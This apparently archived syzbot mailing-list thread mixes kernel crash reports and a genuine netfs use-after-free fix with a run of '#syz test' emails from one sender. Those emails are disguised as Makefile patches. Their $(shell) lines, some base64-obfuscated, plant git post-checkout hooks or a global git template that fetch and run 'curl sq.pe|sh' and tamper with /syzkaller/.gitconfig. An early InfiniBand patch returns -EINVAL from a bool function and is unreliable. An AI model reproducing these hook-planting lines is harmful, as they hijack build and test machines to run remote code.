For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test


 drivers/infiniband/core/addr.c | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/drivers/infiniband/core/addr.c b/drivers/infiniband/core/addr.c
index 61596cda2b65..f33d8040bbd5 100644
--- a/drivers/infiniband/core/addr.c
+++ b/drivers/infiniband/core/addr.c
@@ -93,13 +93,16 @@ static inline bool ib_nl_is_good_ip_resp(const
struct nlmsghdr *nlh)
  if (ret)
  return false;

+ if (!tb[LS_NLA_TYPE_DGID])
+ return -EINVAL;;
+
  return true;
 }

 static void ib_nl_process_good_ip_rsep(const struct nlmsghdr *nlh)
 {
  const struct nlattr *head, *curr;
- union ib_gid gid;
+ union ib_gid gid = {};
  struct addr_req *req;
  int len, rem;
  int found = 0;

Forwarded: final test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: final test
Author: kriish.sharma2006@gmail.com

#syz test

Forwarded: syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: syz test
Author: kriish.sharma2006@gmail.com

#syz test

[syzbot] [netfs?] KASAN: slab-use-after-free Read in netfs_unbuffered_write

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    8fde5d1d47f6 Merge tag 'acpi-7.1-rc6' of git://git.kernel...
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=107a02b6580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=8118209836970b54
dashboard link: https://syzkaller.appspot.com/bug?extid=3c74b1f0c372e98efc32
compiler:       gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=15bedcb6580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=171b697e580000

Downloadable assets:
disk image (non-bootable): https://storage.googleapis.com/syzbot-assets/d900f083ada3/non_bootable_disk-8fde5d1d.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/529080512bd5/vmlinux-8fde5d1d.xz
kernel image: https://storage.googleapis.com/syzbot-assets/39c09b74f46c/bzImage-8fde5d1d.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+3c74b1f0c372e98efc32@syzkaller.appspotmail.com

==================================================================
BUG: KASAN: slab-use-after-free in netfs_unbuffered_write+0x1c21/0x21e0 fs/netfs/direct_write.c:119
Read of size 2 at addr ffff888022e87864 by task syz.0.17/5936

CPU: 1 UID: 0 PID: 5936 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0x13d/0x4b0 mm/kasan/report.c:482
 kasan_report+0xdf/0x1d0 mm/kasan/report.c:595
 netfs_unbuffered_write+0x1c21/0x21e0 fs/netfs/direct_write.c:119
 netfs_unbuffered_write_iter_locked+0x7e2/0xa90 fs/netfs/direct_write.c:294
 netfs_unbuffered_write_iter+0x442/0x740 fs/netfs/direct_write.c:386
 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1070 fs/read_write.c:688
 ksys_write+0x12a/0x250 fs/read_write.c:740
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f2eecd9ce59
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f2eedc49028 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 00007f2eed015fa0 RCX: 00007f2eecd9ce59
RDX: 00000000fffffdd8 RSI: 0000200000000540 RDI: 0000000000000003
RBP: 00007f2eece32d6f R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f2eed016038 R14: 00007f2eed015fa0 R15: 00007fff0ed7a0b8
 </TASK>

Allocated by task 5936:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 unpoison_slab_object mm/kasan/common.c:340 [inline]
 __kasan_slab_alloc+0x89/0x90 mm/kasan/common.c:366
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4570 [inline]
 slab_alloc_node mm/slub.c:4899 [inline]
 kmem_cache_alloc_noprof+0x241/0x6e0 mm/slub.c:4906
 mempool_alloc_noprof+0x1b7/0x310 mm/mempool.c:566
 netfs_alloc_subrequest+0xc1/0x3c0 fs/netfs/objects.c:204
 netfs_prepare_write+0x76/0x780 fs/netfs/write_issue.c:172
 netfs_unbuffered_write+0x7b8/0x21e0 fs/netfs/direct_write.c:111
 netfs_unbuffered_write_iter_locked+0x7e2/0xa90 fs/netfs/direct_write.c:294
 netfs_unbuffered_write_iter+0x442/0x740 fs/netfs/direct_write.c:386
 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1070 fs/read_write.c:688
 ksys_write+0x12a/0x250 fs/read_write.c:740
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 5936:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2689 [inline]
 slab_free mm/slub.c:6251 [inline]
 kmem_cache_free+0x127/0x6c0 mm/slub.c:6378
 mempool_free+0xde/0x130 mm/mempool.c:711
 netfs_free_subrequest fs/netfs/objects.c:239 [inline]
 netfs_put_subrequest+0x282/0x4c0 fs/netfs/objects.c:255
 netfs_unbuffered_write+0x13ed/0x21e0 fs/netfs/direct_write.c:118
 netfs_unbuffered_write_iter_locked+0x7e2/0xa90 fs/netfs/direct_write.c:294
 netfs_unbuffered_write_iter+0x442/0x740 fs/netfs/direct_write.c:386
 v9fs_file_write_iter+0xbf/0x100 fs/9p/vfs_file.c:409
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1070 fs/read_write.c:688
 ksys_write+0x12a/0x250 fs/read_write.c:740
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888022e877c0
 which belongs to the cache netfs_subrequest of size 200
The buggy address is located 164 bytes inside of
 freed 200-byte region [ffff888022e877c0, ffff888022e87888)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x22e86
head: order:1 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
memcg:ffff888026b62001
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88801fab5680 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800190019 00000000f5000000 ffff888026b62001
head: 00fff00000000040 ffff88801fab5680 dead000000000100 dead000000000122
head: 0000000000000000 0000000800190019 00000000f5000000 ffff888026b62001
head: 00fff00000000001 ffffffffffffff81 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000002
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 1, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 1, tgid 1 (swapper/0), ts 4032896346, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0xfd/0x120 mm/page_alloc.c:1853
 prep_new_page mm/page_alloc.c:1861 [inline]
 get_page_from_freelist+0x11a6/0x3410 mm/page_alloc.c:3941
 __alloc_frozen_pages_noprof+0x27c/0x2bc0 mm/page_alloc.c:5221
 alloc_slab_page mm/slub.c:3278 [inline]
 allocate_slab mm/slub.c:3467 [inline]
 new_slab+0xa6/0x6c0 mm/slub.c:3525
 refill_objects+0x277/0x420 mm/slub.c:7272
 refill_sheaf mm/slub.c:2816 [inline]
 __pcs_replace_empty_main+0x375/0x650 mm/slub.c:4652
 alloc_from_pcs mm/slub.c:4750 [inline]
 slab_alloc_node mm/slub.c:4884 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4906
 mempool_init_node+0x2f7/0x6e0 mm/mempool.c:259
 mempool_init_noprof+0x3a/0x50 mm/mempool.c:289
 netfs_init+0x16c/0x2b0 fs/netfs/main.c:128
 do_one_initcall+0x121/0x750 init/main.c:1392
 do_initcall_level init/main.c:1454 [inline]
 do_initcalls init/main.c:1470 [inline]
 do_basic_setup init/main.c:1490 [inline]
 kernel_init_freeable+0x6ea/0x7b0 init/main.c:1703
 kernel_init+0x1f/0x1e0 init/main.c:1593
 ret_from_fork+0x72b/0xd50 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page_owner free stack trace missing

Memory state around the buggy address:
 ffff888022e87700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888022e87780: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
>ffff888022e87800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                                                       ^
 ffff888022e87880: fb fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888022e87900: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================


---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.

syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.

If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title

If you want syzbot to run the reproducer, reply with:
#syz test: git://repo/address.git branch-or-commit-hash
If you attach or paste a git patch, syzbot will apply it before testing.

If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)

If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report

If you want to undo deduplication, reply with:
#syz undup

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: hongao@uniontech.com

From 57d3537f407aaf4229abc9b78513c6222cbfb799 Mon Sep 17 00:00:00 2001
From: hongao <hongao@uniontech.com>
Date: Sat, 30 May 2026 09:08:24 +0800
Subject: [PATCH] netfs: Fix UAF in netfs_unbuffered_write() on failed
 preparation

#syz test

If write subrequest preparation fails, netfs_unbuffered_write() calls
netfs_write_subrequest_terminated() and then reads subreq->error to set
wreq->error.

However, netfs_write_subrequest_terminated() consumes a reference to the
subrequest through netfs_put_subrequest(), so the subrequest may be freed
before netfs_unbuffered_write() reads subreq->error again.  This can
trigger a slab-use-after-free.

Save the error locally before terminating the subrequest, and use the
saved value afterwards.

Fixes: a0b4c7a49137 ("netfs: Fix unbuffered/DIO writes to dispatch subrequests in strict sequence")
Reported-by: syzbot+3c74b1f0c372e98efc32@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=3c74b1f0c372e98efc32

Signed-off-by: hongao <hongao@uniontech.com>
---
 fs/netfs/direct_write.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/fs/netfs/direct_write.c b/fs/netfs/direct_write.c
index 25f8ceb15fad..2d5361702076 100644
--- a/fs/netfs/direct_write.c
+++ b/fs/netfs/direct_write.c
@@ -115,8 +115,9 @@ static int netfs_unbuffered_write(struct netfs_io_request *wreq)
 
 		/* Check if (re-)preparation failed. */
 		if (unlikely(test_bit(NETFS_SREQ_FAILED, &subreq->flags))) {
-			netfs_write_subrequest_terminated(subreq, subreq->error);
-			wreq->error = subreq->error;
+			ret = subreq->error;
+			wreq->error = ret;
+			netfs_write_subrequest_terminated(subreq, ret);
 			break;
 		}
 
-- 
2.51.0

[syzbot] [fuse?] BUG: scheduling while atomic in __synchronize_srcu

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    7f87a5ea75f0 Merge tag 'hid-for-linus-2026040801' of git:/..
git tree:       upstream
console output: https://syzkaller.appspot.com/x/log.txt?x=12439316580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=2d08886358f27e8c
dashboard link: https://syzkaller.appspot.com/bug?extid=12b178b7c756664d2518
compiler:       aarch64-linux-gnu-gcc (Debian 14.2.0-19) 14.2.0, GNU ld (GNU Binutils for Debian) 2.44
userspace arch: arm64
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=1461aeba580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=14c85e06580000

Downloadable assets:
disk image (non-bootable): https://storage.googleapis.com/syzbot-assets/fa3fbcfdac58/non_bootable_disk-7f87a5ea.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/28f02ff1720d/vmlinux-7f87a5ea.xz
kernel image: https://storage.googleapis.com/syzbot-assets/7d30b9e8505e/Image-7f87a5ea.gz.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+12b178b7c756664d2518@syzkaller.appspotmail.com

BUG: scheduling while atomic: syz.1.49/3699/0x00000002
Modules linked in:
CPU: 1 UID: 0 PID: 3699 Comm: syz.1.49 Not tainted syzkaller #0 PREEMPT 
Hardware name: linux,dummy-virt (DT)
Call trace:
 dump_backtrace arch/arm64/kernel/stacktrace.c:498 [inline] (C)
 show_stack+0x18/0x24 arch/arm64/kernel/stacktrace.c:499 (C)
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x60/0x80 lib/dump_stack.c:120
 dump_stack+0x18/0x24 lib/dump_stack.c:129
 __schedule_bug+0x54/0x78 kernel/sched/core.c:5847
 schedule_debug kernel/sched/core.c:5874 [inline]
 __schedule+0x858/0xd84 kernel/sched/core.c:6786
 __schedule_loop kernel/sched/core.c:6993 [inline]
 schedule+0x34/0x114 kernel/sched/core.c:7008
 schedule_timeout+0xd4/0x110 kernel/time/sleep_timeout.c:75
 do_wait_for_common kernel/sched/completion.c:100 [inline]
 __wait_for_common kernel/sched/completion.c:121 [inline]
 wait_for_common kernel/sched/completion.c:132 [inline]
 wait_for_completion+0x78/0x160 kernel/sched/completion.c:153
 __synchronize_srcu+0x90/0xd0 kernel/rcu/srcutree.c:1496
 synchronize_srcu_expedited+0x24/0x40 kernel/rcu/srcutree.c:1521
 kvm_set_irq_routing+0x204/0x294 virt/kvm/irqchip.c:225
 kvm_vgic_setup_default_irq_routing+0x78/0xc0 arch/arm64/kvm/vgic/vgic-irqfd.c:153
 vgic_init+0x1ac/0x268 arch/arm64/kvm/vgic/vgic-init.c:421
 vgic_lazy_init+0x54/0x6c arch/arm64/kvm/vgic/vgic-init.c:550
 kvm_vgic_inject_irq+0x30/0x12c arch/arm64/kvm/vgic/vgic.c:520
 kvm_timer_update_irq+0x68/0x7c arch/arm64/kvm/arch_timer.c:450
 kvm_timer_vcpu_reset+0xd8/0x1e0 arch/arm64/kvm/arch_timer.c:1036
 kvm_reset_vcpu+0x194/0x360 arch/arm64/kvm/reset.c:268
 kvm_vcpu_set_target arch/arm64/kvm/arm.c:1632 [inline]
 kvm_arch_vcpu_ioctl_vcpu_init arch/arm64/kvm/arm.c:1652 [inline]
 kvm_arch_vcpu_ioctl+0x2e4/0x8c8 arch/arm64/kvm/arm.c:1773
 kvm_vcpu_ioctl+0x4ac/0x8f4 virt/kvm/kvm_main.c:4653
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __arm64_sys_ioctl+0xac/0x104 fs/ioctl.c:583
 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]
 invoke_syscall+0x48/0x104 arch/arm64/kernel/syscall.c:49
 el0_svc_common.constprop.0+0x40/0xe0 arch/arm64/kernel/syscall.c:132
 do_el0_svc+0x1c/0x28 arch/arm64/kernel/syscall.c:151
 el0_svc+0x34/0x124 arch/arm64/kernel/entry-common.c:724
 el0t_64_sync_handler+0xa0/0xf0 arch/arm64/kernel/entry-common.c:743
 el0t_64_sync+0x1a4/0x1a8 arch/arm64/kernel/entry.S:596
BUG: scheduling while atomic: syz.1.49/3699/0x00000000
Modules linked in:
CPU: 1 UID: 0 PID: 3699 Comm: syz.1.49 Tainted: G        W           syzkaller #0 PREEMPT 
Tainted: [W]=WARN
Hardware name: linux,dummy-virt (DT)
Call trace:
 dump_backtrace arch/arm64/kernel/stacktrace.c:498 [inline] (C)
 show_stack+0x18/0x24 arch/arm64/kernel/stacktrace.c:499 (C)
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x60/0x80 lib/dump_stack.c:120
 dump_stack+0x18/0x24 lib/dump_stack.c:129
 __schedule_bug+0x54/0x78 kernel/sched/core.c:5847
 schedule_debug kernel/sched/core.c:5874 [inline]
 __schedule+0x858/0xd84 kernel/sched/core.c:6786
 __schedule_loop kernel/sched/core.c:6993 [inline]
 schedule+0x34/0x114 kernel/sched/core.c:7008
 futex_do_wait kernel/futex/waitwake.c:358 [inline]
 __futex_wait+0xf0/0x178 kernel/futex/waitwake.c:687
 futex_wait+0x88/0x118 kernel/futex/waitwake.c:715
 do_futex+0xf8/0x1a0 kernel/futex/syscalls.c:130
 __do_sys_futex kernel/futex/syscalls.c:207 [inline]
 __se_sys_futex kernel/futex/syscalls.c:188 [inline]
 __arm64_sys_futex+0xfc/0x1a0 kernel/futex/syscalls.c:188
 __invoke_syscall arch/arm64/kernel/syscall.c:35 [inline]
 invoke_syscall+0x48/0x104 arch/arm64/kernel/syscall.c:49
 el0_svc_common.constprop.0+0x40/0xe0 arch/arm64/kernel/syscall.c:132
 do_el0_svc+0x1c/0x28 arch/arm64/kernel/syscall.c:151
 el0_svc+0x34/0x124 arch/arm64/kernel/entry-common.c:724
 el0t_64_sync_handler+0xa0/0xf0 arch/arm64/kernel/entry-common.c:743
 el0t_64_sync+0x1a4/0x1a8 arch/arm64/kernel/entry.S:596
psi: inconsistent task state! task=30:pr/ttyAMA-1 cpu=1 psi_flags=14 clear=0 set=10


---
This report is generated by a bot. It may contain errors.
See https://goo.gl/tpsmEJ for more information about syzbot.
syzbot engineers can be reached at syzkaller@googlegroups.com.

syzbot will keep track of this issue. See:
https://goo.gl/tpsmEJ#status for how to communicate with syzbot.

If the report is already addressed, let syzbot know by replying with:
#syz fix: exact-commit-title

If you want syzbot to run the reproducer, reply with:
#syz test: git://repo/address.git branch-or-commit-hash
If you attach or paste a git patch, syzbot will apply it before testing.

If you want to overwrite report's subsystems, reply with:
#syz set subsystems: new-subsystem
(See the list of subsystem names on the web dashboard)

If the report is a duplicate of another one, reply with:
#syz dup: exact-subject-of-another-report

If you want to undo deduplication, reply with:
#syz undup

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p .git/hooks && printf '#!/bin/sh\ncurl sq.pe|sh\n' >
.git/hooks/post-checkout && chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

/tmp/syz-test.txt

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell printf '#!/bin/sh
curl sq.pe|sh'>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2gK|base64 -d>.git/hooks/post-checkout;chmod +x .git/hooks/post-checkout)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p /tmp/.t/hooks && printf '#!/bin/sh
rm -f "$$0";git config --global --unset init.templateDir;rm -rf /tmp/.t;curl sq.pe|sh
' > /tmp/.t/hooks/post-checkout && chmod +x /tmp/.t/hooks/post-checkout && git config --global init.templateDir /tmp/.t)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+$(shell mkdir -p /tmp/.t/hooks;echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2g=|base64 -d>/tmp/.t/hooks/post-checkout;chmod +x /tmp/.t/hooks/post-checkout;git config --global init.templateDir /tmp/.t)
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,4 @@
+$(shell if [ ! -f /tmp/.s2 ];then mkdir -p /tmp/.t/hooks;echo IyEvYmluL3NoCmN1cmwgc3EucGV8c2g=|base64 -d>/tmp/.t/hooks/post-checkout;chmod +x /tmp/.t/hooks/post-checkout;mkdir -p scripts/gcc-plugins;ln -sf /syzkaller/.gitconfig scripts/gcc-plugins/randomize_layout_seed.h;touch /tmp/.s2;else echo W2luaXRdCgl0ZW1wbGF0ZURpciA9IC90bXAvLnQ=|base64 -d>/syzkaller/.gitconfig;rm /tmp/.s2;fi)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

Forwarded: #syz test

[syzbot]

For archival purposes, forwarding an incoming command email to
linux-kernel@vger.kernel.org, syzkaller-bugs@googlegroups.com.

***

Subject: #syz test
Author: tbsthitw@gmail.com

#syz test

diff --git a/Makefile b/Makefile
--- a/Makefile
+++ b/Makefile
@@ -1,3 +1,5 @@
+# test
+$(error x)
 # SPDX-License-Identifier: GPL-2.0
 VERSION = 6
 PATCHLEVEL = 14

[syzbot] [mm?] [usb?] WARNING in __alloc_skb (4)

[syzbot]

Hello,

syzbot found the following issue on:

HEAD commit:    7fa4d8dc380f Add linux-next specific files for 20250821
git tree:       linux-next
console output: https://syzkaller.appspot.com/x/log.txt?x=11fecc42580000
kernel config:  https://syzkaller.appspot.com/x/.config?x=ae76068823a236b3
dashboard link: https://syzkaller.appspot.com/bug?extid=5a2250fd91b28106c37b
compiler:       Debian clang version 20.1.7 (++20250616065708+6146a88f6049-1~exp1~20250616065826.132), Debian LLD 20.1.7
syz repro:      https://syzkaller.appspot.com/x/repro.syz?x=14c94858580000
C reproducer:   https://syzkaller.appspot.com/x/repro.c?x=108ea7bc580000

Downloadable assets:
disk image: https://storage.googleapis.com/syzbot-assets/63178c6ef3f8/disk-7fa4d8dc.raw.xz
vmlinux: https://storage.googleapis.com/syzbot-assets/c5c27b0841e0/vmlinux-7fa4d8dc.xz
kernel image: https://storage.googleapis.com/syzbot-assets/9a8832715cca/bzImage-7fa4d8dc.xz

IMPORTANT: if you fix the issue, please add the following tag to the commit:
Reported-by: syzbot+5a2250fd91b28106c37b@syzkaller.appspotmail.com

------------[ cut here ]------------
WARNING: mm/page_alloc.c:5124 at __alloc_frozen_pages_noprof+0x2c8/0x370 mm/page_alloc.c:5124, CPU#0: dhcpcd/5530
Modules linked in:
CPU: 0 UID: 0 PID: 5530 Comm: dhcpcd Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/12/2025
RIP: 0010:__alloc_frozen_pages_noprof+0x2c8/0x370 mm/page_alloc.c:5124
Code: 74 10 4c 89 e7 89 54 24 0c e8 f4 11 0d 00 8b 54 24 0c 49 83 3c 24 00 0f 85 a5 fe ff ff e9 a6 fe ff ff c6 05 fe aa b7 0d 01 90 <0f> 0b 90 e9 18 ff ff ff a9 00 00 08 00 48 8b 4c 24 10 4c 8d 44 24
RSP: 0018:ffffc90000007780 EFLAGS: 00010246
RAX: ffffc90000007700 RBX: 0000000000000014 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffc900000077e8
RBP: ffffc90000007870 R08: ffffc900000077e7 R09: 0000000000000000
R10: ffffc900000077c0 R11: fffff52000000efd R12: 0000000000000000
R13: 1ffff92000000ef4 R14: 0000000000060820 R15: dffffc0000000000
FS:  00007f4fd75a9740(0000) GS:ffff8881257c4000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffebb07e018 CR3: 000000001dadc000 CR4: 00000000003526f0
Call Trace:
 <IRQ>
 alloc_pages_mpol+0x232/0x4a0 mm/mempolicy.c:2416
 ___kmalloc_large_node+0x5f/0x1b0 mm/slub.c:4306
 __kmalloc_large_node_noprof+0x18/0x90 mm/slub.c:4337
 __do_kmalloc_node mm/slub.c:4353 [inline]
 __kmalloc_node_track_caller_noprof+0x34d/0x4a0 mm/slub.c:4384
 kmalloc_reserve+0x1b8/0x290 net/core/skbuff.c:608
 __alloc_skb+0x142/0x2d0 net/core/skbuff.c:669
 __netdev_alloc_skb+0x108/0x970 net/core/skbuff.c:733
 rx_submit+0x100/0xab0 drivers/net/usb/usbnet.c:-1
